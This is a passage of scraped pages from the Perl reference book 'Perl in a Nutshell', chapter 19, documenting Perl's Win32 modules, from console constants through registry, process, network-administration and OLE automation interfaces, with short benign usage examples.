BACKGROUND_BLUE		        BACKGROUND_GREEN
BACKGROUND_INTENSITY	    BACKGROUND_RED
CAPSLOCK_ON		            CONSOLE_TEXTMODE_BUFFER
ENABLE_ECHO_INPUT		    ENABLE_LINE_INPUT
ENABLE_MOUSE_INPUT		    ENABLE_PROCESSED_INPUT
ENABLE_PROCESSED_OUTPUT	    ENABLE_WINDOW_INPUT
ENABLE_WRAP_AT_EOL_OUTPUT	ENHANCED_KEY
FILE_SHARE_READ		        FILE_SHARE_WRITE
FOREGROUND_BLUE		        FOREGROUND_GREEN
FOREGROUND_INTENSITY	    FOREGROUND_RED
LEFT_ALT_PRESSED		    LEFT_CTRL_PRESSED
NUMLOCK_ON		            GENERIC_READ
GENERIC_WRITE		        RIGHT_ALT_PRESSED
RIGHT_CTRL_PRESSED		    SCROLLLOCK_ON
SHIFT_PRESSED		        STD_INPUT_HANDLE
STD_OUTPUT_HANDLE		    STD_ERROR_HANDLE
Additionally, the following variables can be used:
$FG_BLACK			$FG_BLUE
$FG_LIGHTBLUE		$FG_RED
$FG_LIGHTRED		$FG_GREEN
$FG_LIGHTGREEN		$FG_MAGENTA
$FG_LIGHTMAGENTA		$FG_CYAN
$FG_LIGHTCYAN		$FG_BROWN
$FG_YELLOW		$FG_GRAY
$FG_WHITE
$BG_BLACK			$BG_BLUE
$BG_LIGHTBLUE		$BG_RED
$BG_LIGHTRED		$BG_GREEN
$BG_LIGHTGREEN		$BG_MAGENTA
$BG_LIGHTMAGENTA		$BG_CYAN
$BG_LIGHTCYAN		$BG_BROWN
$BG_YELLOW		$BG_GRAY
$BG_WHITE
$ATTR_NORMAL		$ATTR_INVERSE
ATTR_NORMAL is set to gray foreground on black background (DOS's standard colors).

Previous: 19.1 Win32::Clipboard | Perl in a Nutshell | Next: 19.3 Win32::ChangeNotification
19.1 Win32::Clipboard | Book Index | 19.3 Win32::ChangeNotification


[Chapter 19] 19.3 Win32::ChangeNotification

Perl in a Nutshell

Perl in a NutshellSearch this book

19.3 Win32::ChangeNotification

This module provides access to Win32 change-notification objects, letting you monitor events relating to files and directory trees. The constructor for this class is new, which creates a ChangeNotification object for a specified directory and indicates how it should be monitored:

$ntfy = Win32::ChangeNotification->new(directory, subtree, filter);
The function returns a reference to the object as $ntfy. directory is the pathname of the directory to monitor. subtree is a Boolean value that, if true, forces the object to monitor all subdirectories of the object's path. The filter parameter indicates what type of events will trigger a notification. It can be one of the following string values:

Value | Description
ATTRIBUTES | Any attribute change
DIR_NAME | Any directory name change
FILE_NAME | Any filename change (creating/deleting/renaming)
LAST_WRITE | Any change to a file's last write time
SECURITY | Any security descriptor change
SIZE | Any change in a file's size

The following methods are used on notification objects created by new:

  • close
  • reset
  • wait

Previous: 19.2 Win32::Console | Perl in a Nutshell | Next: 19.4 Win32::Eventlog
19.2 Win32::Console | Book Index | 19.4 Win32::Eventlog


[Chapter 19] 19.4 Win32::Eventlog

Perl in a Nutshell

Perl in a NutshellSearch this book

19.4 Win32::Eventlog

This module makes the Windows NT event log accessible to your Perl programs. It allows you to create new records, read records, and create backup logfiles. The new constructor opens a server's event log as an object.

$log = Win32::EventLog->new(source, [server]);
This function opens an event log and returns an object reference. source specifies the name of the source event, and server specifies the name of the server (local is assumed if no server name is given).

Many of the methods for this module require a reference to an empty variable as an argument. This is where the return value of the method will be placed, whether it is a hash or a scalar. The following methods can be used on event log objects:

  • Backup
  • Read
  • Report
  • GetOldest
  • GetNumber
  • Clear

Previous: 19.3 Win32::ChangeNotification | Perl in a Nutshell | Next: 19.5 Win32::File
19.3 Win32::ChangeNotification | Book Index | 19.5 Win32::File


[Chapter 19] 19.5 Win32::File

Perl in a Nutshell

Perl in a NutshellSearch this book

19.5 Win32::File

The Win32::File module allows you to view or set the attributes for files. There are two functions that allow you to do this, which must be explicitly imported to your namespace:

use Win32::File qw/GetAttributes SetAttributes/;
The constant values for the attributes are exported by default.

GetAttributes (filename, \$atts)

Returns the attribute settings for file filename and saves them as the variable referenced by $atts, which will contain an ORed combination of one or more of the following values:

ARCHIVE
DIRECTORY
HIDDEN
NORMAL
READONLY
SYSTEM

SetAttributes (filename, atts)

Set the attributes for the file filename to the values contained in atts. The attributes are given as an ORed combination of one or more of the attribute values shown above.

Previous: 19.4 Win32::Eventlog | Perl in a Nutshell | Next: 19.6 Win32::FileSecurity
19.4 Win32::Eventlog | Book Index | 19.6 Win32::FileSecurity


[Chapter 19] 19.6 Win32::FileSecurity

Perl in a Nutshell

Perl in a NutshellSearch this book

19.6 Win32::FileSecurity

The Win32::FileSecurity module allows you to work with NT File System (NTFS) file permissions. File permissions are stored as Discretionary Access Control Lists (DACLs) for each file or directory. These lists contain a bitmask specifying the permission rights for users on the file or directory. This module implements a DACL as a permissions hash in which each key is a username and the value is the bitmask for the permissions.

The FileSecurity module exports the following constants to describe user permissions:

ACCESS_SYSTEM_SECURITY     READ or R
CHANGE or C                SPECIFIC_RIGHTS_ALL
DELETE                     STANDARD_RIGHTS_ALL
FULL or F                  STANDARD_RIGHTS_EXECUTE
GENERIC_ALL                STANDARD_RIGHTS_READ
GENERIC_EXECUTE            STANDARD_RIGHTS_REQUIRED
GENERIC_READ               STANDARD_RIGHTS_WRITE
GENERIC_WRITE              SYNCHRONIZE
MAXIMUM_ALLOWED            WRITE_DAC
READ_CONTROL               WRITE_OWNER
Using the constant function on one of these constants gives its value, and bitmasks or multiple permissions settings can be made by supplying a list of these constants to the MakeMask function.

The functions exported by the Win32::FileSecurity module are:

  • constant
  • EnumerateRights
  • Get
  • MakeMask
  • Set

Previous: 19.5 Win32::File | Perl in a Nutshell | Next: 19.7 Win32::Internet
19.5 Win32::File | Book Index | 19.7 Win32::Internet


[Chapter 19] 19.7 Win32::Internet

Perl in a Nutshell

Perl in a NutshellSearch this book

19.7 Win32::Internet

The Win32::Internet extension implements the Win32 Internet APIs (found in WININET.DLL), providing support for HTTP, FTP, and Gopher connections.

All types of connections start as a basic Internet connection that must be opened with the following command:

use Win32::Internet;
$Connection = Win32::Internet->new();
This creates an Internet object in Perl on which you use the functions provided in this module to create more specific connection objects. The objects and functions that create them are:

  • Internet connections (the main object, with new)

  • URLs (with OpenURL)

  • FTP sessions (with FTP)

  • HTTP sessions (with HTTP)

  • HTTP requests (with OpenRequest)

This module provides different levels of implementation of the Win32 Internet functions. Some routines use several Win32 API functions to perform a complex task in a single call; they are simpler to use, but less powerful. Other functions implement nothing more and nothing less than the corresponding API function, so you can use all of their power, but with some additional programming steps.

For example, the function FetchURL fetches the contents of any HTTP, FTP, or Gopher URL with a simple command:

$inet = new Win32::Internet();
$file = $inet->FetchURL("http://www.yahoo.com");
You can achieve the same result with this series of commands, which is what FetchURL actually does:
$inet = new Win32::Internet();
$url = $inet->OpenURL("http://www.yahoo.com");
$file = $url->ReadFile();
$url->Close();

19.7.1 General Internet Methods

The methods described in this section are used on Internet connection objects created with new:

$inet = Win32::Internet->new();
You can supply new with an optional list of arguments (or a reference to a hash containing them) that looks like this:
Win32::Internet->new [useragent, opentype, proxy, proxybypass, flags]
Win32::Internet->new [$hashref]
The parameters and their values are:

useragent

The user-agent string passed to HTTP requests. Default is Perl-Win32Internet/version.

opentype

How to access the Internet (e.g., directly or using a proxy). Default is INTERNET_OPEN_TYPE_DIRECT.

proxy

Name of the proxy server (or servers) to use. Default is none.

proxybypass

Optional list of host names or IP addresses that are known locally. Default is none.

flags

Additional flags affecting the behavior of the function. Default is none.

If you pass a hash reference to the function, the following values are taken from the hash:

%hash=(
  "useragent"   => "useragent",
  "opentype"    => "opentype",
  "proxy"       => "proxy",
  "proxybypass" => "proxybypass",
  "flags"       => flags,
);
The following methods can be used on Internet connection objects:
  • CanonicalizeURL
  • Close
  • CombineURL
  • ConnectBackoff
  • ConnectionRetries
  • ConnectTimeout
  • ControlReceiveTimeout
  • ControlSendTimeout
  • CrackURL
  • CreateURL
  • DataReceiveTimeout
  • DataSendTimeout
  • Error
  • FetchURL
  • FTP
  • GetResponse
  • GetStatusCallback
  • HTTP
  • OpenURL
  • Password
  • QueryDataAvailable
  • QueryOption
  • ReadEntireFile
  • ReadFile
  • SetOption
  • SetStatusCallback
  • TimeConvert
  • UserAgent
  • Username
  • Version

19.7.2 FTP Functions

The methods described in this section are used to control FTP sessions. They apply to FTP session objects created by the FTP method on an Internet connection object. FTP creates an open FTP session and assigns it to an object ($FTP):

use Win32::Internet;
$inet = new Win32::Internet();
$inet->FTP($FTP, "hostname", "username", "password");
The following methods are used on FTP session objects:
  • Ascii
  • Binary
  • Cd
  • Delete
  • Get
  • List
  • Mkdir
  • Mode
  • Pasv
  • Put
  • Pwd
  • Rename
  • Rmdir

19.7.3 HTTP Functions

The methods described in this section are used to create and control an HTTP session. You open an HTTP session using the HTTP method on an Internet connection object:

use Win32::Internet;
$inet = new Win32::Internet();
$inet->HTTP($http, "hostname", "username", "password");
This opens the session and creates the HTTP session object $http. The following methods can be used on HTTP session objects:

  • AddHeader
  • OpenRequest
  • QueryInfo
  • Request
  • SendRequest

Previous: 19.6 Win32::FileSecurity | Perl in a Nutshell | Next: 19.8 Win32::IPC
19.6 Win32::FileSecurity | Book Index | 19.8 Win32::IPC


[Chapter 19] 19.8 Win32::IPC

Perl in a Nutshell

Perl in a NutshellSearch this book

19.8 Win32::IPC

The Win32::IPC module provides synchronization for multiple objects created from the Semaphore, Mutex, Process, and ChangeNotify classes. This wait method of this class is inherited by objects of the preceding modules, as well as the functions wait_all and wait_any. You should not need to call Win32::IPC directly.

$obj->wait([timeout])

This method is used on any synchronization object. It waits for the object to become signaled. It returns 1 if the object is signaled, -1 if the object is an abandoned mutex, 0 if the call times out, and undef on error. timeout is the time to wait (in milliseconds). If no timeout is specified, the method waits indefinitely.

Win32::IPC also defines the two functions wait_all and wait_any:

wait_all(@objects, [timeout])

Waits for all the synchronization objects contained in @objects to be signaled. The optional timeout parameter is the same as described for wait. The return value will be an integer that identifies the last object to be signaled (the nth object in the list, starting from 1). A negative integer (-n) indicates that the nth object was an abandoned mutex. A return of 0 means that the function timed out; and undef is returned on error.

wait_any(@objects, [timeout])

Waits for at least one of the objects contained in @objects to be signaled. Return values are the same as for wait_all, above, indicating which object signaled.

Previous: 19.7 Win32::Internet | Perl in a Nutshell | Next: 19.9 Win32::Mutex
19.7 Win32::Internet | Book Index | 19.9 Win32::Mutex


[Chapter 19] 19.9 Win32::Mutex

Perl in a Nutshell

Perl in a NutshellSearch this book

19.9 Win32::Mutex

This module provides access to Win32 mutex objects, which control access to common resources. The new constructor creates the mutex and determines its initial availability. It has the following syntax:

$mut = Win32::Mutex->new(init, [name]);
The first argument determines the initial status of the mutex. If init is non-zero, the calling process has immediate ownership of the mutex object. A zero value means that the mutex is available. The second argument assigns a name to the mutex that allows this object to be referenced by others via the open function.

Another object constructor for Win32::Mutex is open:

$mut = Win32::Mutex->open(name);
This call creates a new mutex object to access an existing mutex identified by name.

The following methods can be used on Win32::Mutex objects:

  • release
  • wait

Previous: 19.8 Win32::IPC | Perl in a Nutshell | Next: 19.10 Win32::NetAdmin
19.8 Win32::IPC | Book Index | 19.10 Win32::NetAdmin


[Chapter 19] 19.10 Win32::NetAdmin

Perl in a Nutshell

Perl in a NutshellSearch this book

19.10 Win32::NetAdmin

The Win32::NetAdmin module provides extensive functionality for administering users and groups on Windows NT servers. This module does not implement an object interface for administration; it exports several functions that execute administrative commands. (This module does not load on Windows 95 systems.)

The following functions are provided by the Win32::NetAdmin module. The server argument of each function is optional; however, a placeholder for the argument must be used if you don't supply a name. An empty string ("") will work, indicating that the local machine is to be used.

  • GetDomainController
  • UserCreate
  • UserDelete
  • UserGetAttributes
  • UserSetAttributes
  • GroupCreate
  • GroupDelete
  • GroupGetAttributes
  • GroupSetAttributes
  • GroupAddUsers
  • GroupDeleteUsers
  • GroupIsMember
  • GroupGetMembers
  • LocalGroupCreate
  • LocalGroupDelete
  • LocalGroupGetAttributes
  • LocalGroupSetAttributes
  • LocalGroupAddUsers
  • LocalGroupDeleteUsers
  • LocalGroupIsMember
  • LocalGroupGetMembers

Previous: 19.9 Win32::Mutex | Perl in a Nutshell | Next: 19.11 Win32::NetResource
19.9 Win32::Mutex | Book Index | 19.11 Win32::NetResource


[Chapter 19] 19.11 Win32::NetResource

Perl in a Nutshell

Perl in a NutshellSearch this book

19.11 Win32::NetResource

The Win32::NetResource module allows you to manage shared resources on a network, such as printers, disks, etc. Two data structures are used to provide or store information for many of the NetResource functions. The first is the share_info hash. This hash contains parameters for setting up a share, using the following structure:

%share_info = (
      netname       => "name of share",
      type          => "type of share",
      remark        => "a string comment",
      permissions   => "permissions value",
      maxusers      => "the max number of users",
      current-users => "the current number of users",
      path          => "the path of the share",
      passwd        => "password, if required"
);
A netresource data structure contains information about the shared resource or device. It has the following structure:
%netresource = (
      'Scope'       => "Scope of a resource connection (see table below for
                        values)",
      'Type'        => "The type of resource (see table below)",
      'DisplayType' => "How the resource should be displayed (see table
                        below)",
      'Usage'       => "How the resource should be used",
      'LocalName'   => "Name of the local device the resource is connected
                        to",
      'RemoteName'  => "Network name of the resource",
      'Comment'     => "Comment string",
      'Provider'    => "Provider of the resource"
);
The first three elements of the netresource hash contain values described in the following tables. The Scope value can be one of the following:
RESOURCE_CONNECTED   Resource is already connected.
RESOURCE_REMEMBERED  Resource is reconnected each time the user logs on.
RESOURCE_GLOBALNET   Resource is available to the entire network.
The Type element takes one of the following values:
RESOURCETYPE_ANY     All resources
RESOURCETYPE_DISK    Disk resources
RESOURCETYPE_PRINT   Print resources
The Display element can be one of these values:
RESOURCEDISPLAYTYPE_DOMAIN    The object is displayed as a domain.
RESOURCEDISPLAYTYPE_SERVER    The object is displayed as a server.
RESOURCEDISPLAYTYPE_SHARE     The object is displayed as a sharepoint.
RESOURCEUSAGE_CONNECTABLE     The resource can be connected to a local device.
RESOURCEUSAGE_CONTAINER       The resource contains more resources.
The functions in Win32::NetResource use the share_info and netresource structures as input and output arguments. These arguments are used in the description of the functions below; you should name them whatever you want.

  • GetSharedResources
  • AddConnection
  • CancelConnection
  • WNetGetLastError
  • GetError
  • GetUNCName
  • NetShareAdd
  • NetShareCheck
  • NetShareDel
  • NetShareGetInfo
  • NetShareSetInfo

Previous: 19.10 Win32::NetAdmin | Perl in a Nutshell | Next: 19.12 Win32::Process
19.10 Win32::NetAdmin | Book Index | 19.12 Win32::Process


[Chapter 19] 19.12 Win32::Process

Perl in a Nutshell

Perl in a NutshellSearch this book

19.12 Win32::Process

This module provides access to extended Win32 process creation and management abilities. Process objects are created with the Create method (the constructor). Additional methods can be used on objects to kill, suspend, resume, and set the priorities of processes.

The Create constructor has the following syntax:

Win32::Process->Create($Proc, app, cmnd, hndls, opts, dir)
The arguments to Create are as follows:

$Proc

Name of the reference for the created process object.

app

Full pathname of the executable.

cmnd

Command line for executable.

hndls

Determines handle inheritance. A value of 1 turns on inheritance; a 0 value turns it off.

opts

Sets options to implement when the process is created. The available options for this argument are listed below.

dir

The working directory for the executable.

The process is created by passing the command line in cmnd to the executable named in app. For example, a process object for a text file running in Notepad is created like this:

use Win32::Process;
Win32::Process->Create($proc, 'C:\\windows\\Notepad.exe',
                       "Notepad perlnut.txt", 1,
                       DETACHED_PROCESS, ".");
The process creation options given by the opts argument to Create are:
CREATE_DEFAULT_ERROR_MODE  Give the process the default error mode.
CREATE_NEW_CONSOLE         Create a new console for the process.
                                                       Can't be used with DETACHED_PROCESS.
CREATE_NEW_PROCESS_GROUP   Create process as root of a new process group.
CREATE_SEPARATE_WOW_VDM    Run process in its own Virtual DOS Machine (VDM).
                                                       Only applicable to 16-bit apps.
CREATE_SUSPENDED           Start process in a suspended state. The process
                                                       can be started with the Resume method.
CREATE_UNICODE_ENVIRONMENT Use UNICODE characters in the environment block of
                                                       the new process.
DEBUG_PROCESS              Debug the new process with the calling process.
DEBUG_ONLY_THIS_PROCESS    Don't debug the new process if calling process
                                                       is being debugged.
DETACHED_PROCESS           Create a process with no access to the console
                                                       of the calling process.

19.12.1 Methods

The following methods are provided for objects of created by Win32::Process:

  • Kill
  • Suspend
  • Resume
  • GetPriorityClass
  • SetPriorityClass
  • GetExitCode
  • Wait

Previous: 19.11 Win32::NetResource | Perl in a Nutshell | Next: 19.13 Win32::Registry
19.11 Win32::NetResource | Book Index | 19.13 Win32::Registry


[Chapter 19] 19.13 Win32::Registry

Perl in a Nutshell

Perl in a NutshellSearch this book

19.13 Win32::Registry

This module provides access to the Windows Registry, the database that stores information about all parts of your system and software. Many operating system and application behaviors are controlled by Registry data. The Win32::Registry module gives you a way to access and update registry information with Perl. (Warning: Always be careful when making changes to the registry. If vital system information gets changed by mistake, your system could become inoperable. Always make certain you have a backup of your registry before you start to make modifications.)

The Registry module automatically creates objects for the top-level registry trees. These objects are created in the main:: namespace, and each key that you open or create is accessed via one of these root objects. The four top-level objects are:

$HKEY_CLASSES_ROOT
$HKEY_CURRENT_USER
$HKEY_LOCAL_MACHINE
$HKEY_USERS
If you are outside of the main (default) namespace, you should package declare the keys, i.e., $main::HKEY_USERS.

The Open method creates new key objects for subtrees or subkeys under another open key object. Initially, a new key is opened from one of the main key objects, for example:

use Win32::Registry;
$p = "SOFTWARE\Microsoft\Windows NT\CurrentVersion";
$HKEY_LOCAL_MACHINE->Open($p, $CurrVer) || die "Open $!";
This example creates a key object $CurrVer for the CurrentVersion key for Windows NT. This key contains several values for the version of the operating system. With the new key open, you can read or change the values it contains (every key has at least one unnamed, default value), or open and create subkeys. The Open method can only create key objects for existing keys.

Registry values are represented in Win32::Registry functions by three elements: the name of the value, the data type of the value, and the value itself. There are several different data types for the values. Win32::Registry defines the following constants for these types:

REG_SZ		String data
REG_DWORD		Unsigned four-byte integer
REG_MULTI_SZ	Multiple strings delimited with NULL
REG_EXPAND_SZ	Strings that expand (e.g., based on environment variables)
REG_BINARY	Binary data (no particular format is assumed)

19.13.1 Methods

The following methods can be used on key objects, either the preopened main keys or subkeys that you have already opened.

  • Open
  • Create
  • SetValue
  • SetValueEx
  • QueryValue
  • QueryKey
  • GetKeys
  • GetValues
  • Save
  • Load
  • DeleteKey
  • DeleteValue

Previous: 19.12 Win32::Process | Perl in a Nutshell | Next: 19.14 Win32::Semaphore
19.12 Win32::Process | Book Index | 19.14 Win32::Semaphore


[Chapter 19] 19.14 Win32::Semaphore

Perl in a Nutshell

Perl in a NutshellSearch this book

19.14 Win32::Semaphore

The Win32::Semaphore module implements semaphores, synchronizing access to shared resources. The constructor new creates a new semaphore object and sets the initial count and the maximum count of the semaphore. The constructor has the following syntax:

$sem = Win32::Semaphore->new(init, max, [name]);
The arguments are defined as follows:

init

The initial count of the semaphore.

max

The maximum count of the semaphore.

name

A string containing a name of the semaphore.

The open constructor opens an existing semaphore object specified by name:

$sem = Win32::Semaphore->open(name);
The following methods can be used on Win32::Semaphore objects:

  • wait
  • release

Previous: 19.13 Win32::Registry | Perl in a Nutshell | Next: 19.15 Win32::Service
19.13 Win32::Registry | Book Index | 19.15 Win32::Service


[Chapter 19] 19.15 Win32::Service

Perl in a Nutshell

Perl in a NutshellSearch this book

19.15 Win32::Service

The Win32::Service module provides a service control interface. It allows you to start, pause, resume, and stop Windows NT system services from Perl scripts.

The following functions are exported by this module. The host argument in each function gives the hostname of the machine a service is running (or will run) on. If you supply a null string (""), the local machine will be assumed.

  • StartService
  • StopService
  • GetStatus
  • PauseService
  • ResumeService
  • GetServices

Previous: 19.14 Win32::Semaphore | Perl in a Nutshell | Next: 19.16 Win32::Shortcut
19.14 Win32::Semaphore | Book Index | 19.16 Win32::Shortcut


[Chapter 19] 19.16 Win32::Shortcut

Perl in a Nutshell

Perl in a NutshellSearch this book

19.16 Win32::Shortcut

This module allows you to create and manipulate Windows shortcut files (.lnk files) through Perl. The methods and properties of this module apply to shortcut objects created by new:

use Win32::Shortcut;
$link = Win32::Shortcut->new();
This creates the shortcut object $link, on which you can set properties and save into a file. If you supply a filename as an argument to new, the file will be loaded into the shortcut object.

The object can also be accessed as if it were a normal hash reference. The following properties (hash keys) are available:

$link->{'File'}
$link->{'Path'}
$link->{'ShortPath'}
$link->{'WorkingDirectory'}
$link->{'Arguments'}
$link->{'Description'}
$link->{'ShowCmd'}
$link->{'Hotkey'}
$link->{'IconLocation'}
$link->{'IconNumber'}
See the section on shortcut properties, below, for a description of each property.

The following example assumes you have a shortcut file named test.lnk in your current directory. This simple script will tell you where this shortcut points to:

use Win32::Shortcut;
$link=new Win32::Shortcut();
$link->Load("test.lnk");
print "Shortcut to: $link->{'Path'} $link->{'Arguments'} \n";
$link->Close();
But you can also modify its values:
use Win32::Shortcut;
$link=new Win32::Shortcut();
$link->Load("test.lnk");
$link->{'Path'}=~s/C:/D:/i; # move the target from C: to D:
$link->{'ShowCmd'}=SW_NORMAL; # runs in a normal window

The methods provided by Win32::Shortcut are as follows:

  • Close
  • Load
  • new
  • Resolve
  • Save
  • Set

19.16.1 Shortcut properties

The properties of a shortcut object can be accessed as:

$link->{'property'}
For example, assuming that you have created a shortcut object with:
$link=new Win32::Shortcut();
you can see its description with:
print $link->{'Description'};
You can of course also set it like this:
$link->{'Description'}="This is a description";
The shortcut properties also have corresponding methods which can also set or read their values.

The properties of a shortcut reflect the content of the Shortcut Properties dialog box, which can be obtained by clicking the right mouse button on a shortcut file in the Windows 95 (or NT 4.0) Explorer and choosing "Properties." Shortcut properties are:

Arguments

The arguments associated with the shell link object. They are passed to the targeted program (see Path) when it gets executed. In fact, joined with Path, this parameter forms the "Target" field of a Shortcut Properties dialog box.

Description

An optional description given to the shortcut. Not implemented in Shortcut Properties dialog box.

File

The filename of the shortcut file opened with Load, and/or the filename under which the shortcut will be saved with Save (if the file argument is not specified).

Hotkey

The hotkey associated with the shortcut, in the form of a 2-byte number, of which the first byte identifies the modifiers (Ctrl, Alt, Shift, etc.), and the second is the ASCII code of the character key. Corresponds to the "Shortcut key" field of a Shortcut Properties dialog box.

IconLocation

The file that contains the icon for the shortcut.

IconNumber

The number of the icon for the shortcut in the file pointed by IconLocation, in case more that one icon is contained in that file.

Path

The target of the shortcut. This (joined with Arguments) is the content of the "Target" field in a Shortcut Properties dialog box.

ShortPath

Same as Path, but expressed in a DOS-readable format (8.3-character filenames). It is available as read-only (well, you can change it, but it has no effect on the shortcut; change Path instead) once you Load a shortcut file.

ShowCmd

The condition of the window in which the program will be executed (can be Normal, Minimized or Maximized). Corresponds to the "Run" field of a Shortcut Properties dialog box. Allowed values are:

Value | Meaning | Constant
1 | Normal window | SW_SHOWNORMAL
3 | Maximized | SW_SHOWMAXIMIZED
7 | Minimized | SW_SHOWMINNOACTIVE

WorkingDirectory

The directory in which the targeted program will be executed. Corresponds to the "Start in" field of a Shortcut Properties dialog box.

Previous: 19.15 Win32::Service | Perl in a Nutshell | Next: 19.17 Win32 Extensions
19.15 Win32::Service | Book Index | 19.17 Win32 Extensions


[Chapter 19] 19.17 Win32 Extensions

Perl in a Nutshell

Perl in a NutshellSearch this book

19.17 Win32 Extensions

In addition to the modules listed above, Perl for Win32 can use an additional set of functions from the Win32 extension. These functions provide useful tools for some Windows-specific tasks that don't require their own modules. They are exported from the Win32 package with:

use Win32;
Many of these functions do not take arguments, and they return the value (or values) of the requested information, unless otherwise noted.

Win32::GetLastError()

Returns the last error value generated by a call to a Win32 API function.

Win32::OLELastError()

Returns the last error value generated by a call to a Win32 OLE API function.

Win32::BuildNumber()

Returns the build number of Perl for Win32.

Win32::LoginName()

Returns the username of the owner of the current Perl process.

Win32::NodeName()

Returns the Microsoft network node-name of the current machine.

Win32::DomainName()

Returns the name of the Microsoft network domain that the owner of the current Perl process is logged into.

Win32::FsType()

Returns a string naming the filesystem type of the currently active drive.

Win32::GetCwd()

Returns the current active drive and directory. This function does not return a UNC path, since the functionality required for such a feature is not available under Windows 95.

Win32::SetCwd(newdir)

Sets the current active drive and directory to newdir. This function does not work with UNC paths, since the functionality required for such a feature is not available under Windows 95.

Win32::GetOSVersion()

Returns a list of elements describing the version of the operating system. The elements of the list are: an arbitrary descriptive string, the major version number of the operating system, the minor version number, the build number, and a digit indicating the actual operating system, which will be 0 for Win32s, 1 for Windows 95, and 2 for Windows NT. For example:

use Win32;
($string, $major, $minor, $build, $id) = Win32::GetOSVersion();

Win32::FormatMessage(error)

Converts the Win32 error number supplied by error into a descriptive string. The error number can be retrieved using Win32::GetLastError or Win32::OLELastError.

Win32::Spawn(command, args, $pid)

Spawns a new process for the given command, passing the arguments in args. The ID of the new process in saved in the variable named by pid.

Win32::LookupAccountName(sys, acct, $domain, $sid, $type)

Returns the domain name, SID, and SID type to the specified variables for the account acct on system sys.

Win32::LookupAccountSID(sys, sid, $acct, $domain, $type)

Returns the account name, domain name, and SID type to the specified variables for the SID sid on system sys.

Win32::InitiateSystemShutdown(machine, message, timeout, forceclose, reboot)

Shuts down the specified machine in the specified timeout interval. message is broadcast to all users. If forceclose is true, all documents are closed (forcefully) without prompting the user. If reboot is true, the machine is rebooted.

Win32::AbortSystemShutdown(machine)

Aborts a shutdown on the specified machine.

Win32::GetTickCount()

Returns the Win32 tick count.

Win32::IsWinNT()

Returns true (non-zero) if the Win32 subsystem is Windows NT.

Win32::IsWin95()

Returns true (non-zero) if the Win32 subsystem is Windows 95.

Win32::ExpandEnvironmentStrings(envstring)

Returns a string in which any environment variables in the given envstring are replaced with their values.

Win32::GetShortPathName(longpathname)

Returns the short (8.3) path name of longpathname.

Win32::GetNextAvailDrive()

Returns a string in the form of "d:\", where d is the first available drive letter.

Win32::RegisterServer(libraryname)

Loads the DLL libraryname and calls the function DllRegisterServer.

Win32::UnregisterServer(libraryname)

Loads the DLL libraryname and calls the function DllUnregisterServer.

Win32::Sleep(time)

Pauses for the number of milliseconds specified by time.

Previous: 19.16 Win32::Shortcut | Perl in a Nutshell | Next: 19.18 OLE Automation
19.16 Win32::Shortcut | Book Index | 19.18 OLE Automation


[Chapter 19] 19.18 OLE Automation

Perl in a Nutshell

Perl in a NutshellSearch this book

19.18 OLE Automation

The Win32::OLE modules give Perl support for OLE automation. OLE automation is a Microsoft technology based on COM that allows objects created by another application to be used and manipulated by a program through a common interface.

The application (or DLL) that implements the automation interface is called the automation server. The application that creates and uses the interface is called the automation controller or automation client. Many popular applications expose their objects through automation. Microsoft Word, Excel, and other Office applications can be used as automation servers. Automation is widely used by Active Server Pages (ASP) and CGI scripts to access data repositories, perhaps via ActiveX Data Objects (ADO). You can even use automation to control many development environments and editors.

In order to create an automation object, the server needs to be registered on the system. This is typically done by the server's installation program, but can be done manually using a utility like regsvr32.exe. This involves adding entries to the system registry to tell COM how to find the component, what types of interfaces it provides, what type of server it is, etc. You should be able to find the object model, available methods and properties of the interface in the documentation provided by the application. This object model can be used via Perl's object syntax to create and control objects in your programs.

Four modules provide automation functionality to Perl:

Win32::OLE

Provides the main interface for OLE automation. You can create or open automation objects, use their methods, and set their properties.

Win32::OLE::Enum

Creates objects for collections and defines an interface for enumerating them.

Win32::OLE::Variant

Allows you to convert the Variant data type used in OLE.

Win32::OLE::Const

Imports constants from an automation object into your script.

There are a few limitations to Win32::OLE to note. There is currently no support for OCXs or OLE events (notifications generated by the automation server). Win32::OLE implements the IDispatch interface only, and therefore cannot access a custom OLE interface.

19.18.1 Creating Objects

Automation objects are represented in Perl as instances of Win32::OLE objects. The module provides three constructors for creating objects from a registered automation server.

  • new
  • GetActiveObject
  • GetObject

19.18.2 Automation Methods and Properties

Once you have created an automation object, you can use its methods or adjust its properties as you require. Automation methods are implemented as you'd expect with the Perl object syntax:

$obj->some_method(args);
Automation methods can often take a number of optional parameters. You can pass undef for any unwanted parameters in the arguments list. For example, you can save a WorkBook in Excel with SaveAs. Additional settings allow you to add the WorkBook to the MRU list and create a backup copy:
$xl->WorkBooks(1)->SaveAs($f, undef, undef, undef, undef, 1, undef, undef, 1);
For simplification, you can also use just the named parameters you want to set by passing a reference to a hash containing them. You can do this right in the argument list by creating an anonymous hash reference with {}. The previous example can therefore be written like this:
$xl->WorkBooks(1)->SaveAs($f, {AddtoMru => 1, CreateBackup => 1});
Properties of automation objects are accessed via hash reference notation on the object. For example:
$val = $obj->{"property"};         # get a property value
$obj->{"property"} = $val;         # set a property value
Be aware that properties may not be writable (or even readable). Many automation objects have read-only properties and will generate an exception if you try to write to them. You'll need to consult the documentation for the object to find out which properties you can safely set.

You can enumerate the properties of an automation object using the normal methods for enumerating hashes, which are keys and each. Here's how you can print the properties and values contained within an object:

$xl = Win32::OLE->new('Excel.Application', 'Quit');
while( ($key,$value) = each %$xl ) {
    print "$key=$value\n";
}

19.18.2.1 Win32::OLE methods

Win32::OLE defines a couple of its own methods for dealing with the automation interface. These are not automation-defined methods, although they look the same. If a given method is not defined in Win32::OLE, the method call is dispatched to the automation object. If the method doesn't exist there, you will get an OLE error.

The following methods are defined by Win32::OLE:

  • Invoke
  • LastError
  • QueryObjectType

19.18.2.2 Win32::OLE functions

The following functions are defined by Win32::OLE. They are not exported by default.

  • in
  • valof
  • with

19.18.2.3 Win32::OLE class variables

The Win32::OLE module defines certain class variables that set default behavior for automation usage.

$Win32::OLE::CP

Determines the codepage used by all translations between Perl strings and Unicode strings used by the OLE interface. The default value is CP_ACP, which is the default ANSI codepage. It can also be set to CP_OEMCP, which is the default OEM codepage. Both constants are not exported by default.

$Win32::OLE::LCID

Controls the locale identifier used for all OLE calls. It is set to LOCALE_NEUTRAL by default. Check the Win32 module for other locale-related information.

$Win32::OLE::Warn

Determines the behavior of the Win32::OLE module when an error happens. Valid values are:

0

Ignore error, return undef.

1

Use Carp::carp if $^W is set (-w option).

2

Always use Carp::carp.

3

Use Carp::croak.

The error number and message (without Carp line/module info) are also available through the Win32::OLE->LastError method.

19.18.3 Win32::OLE::Enum

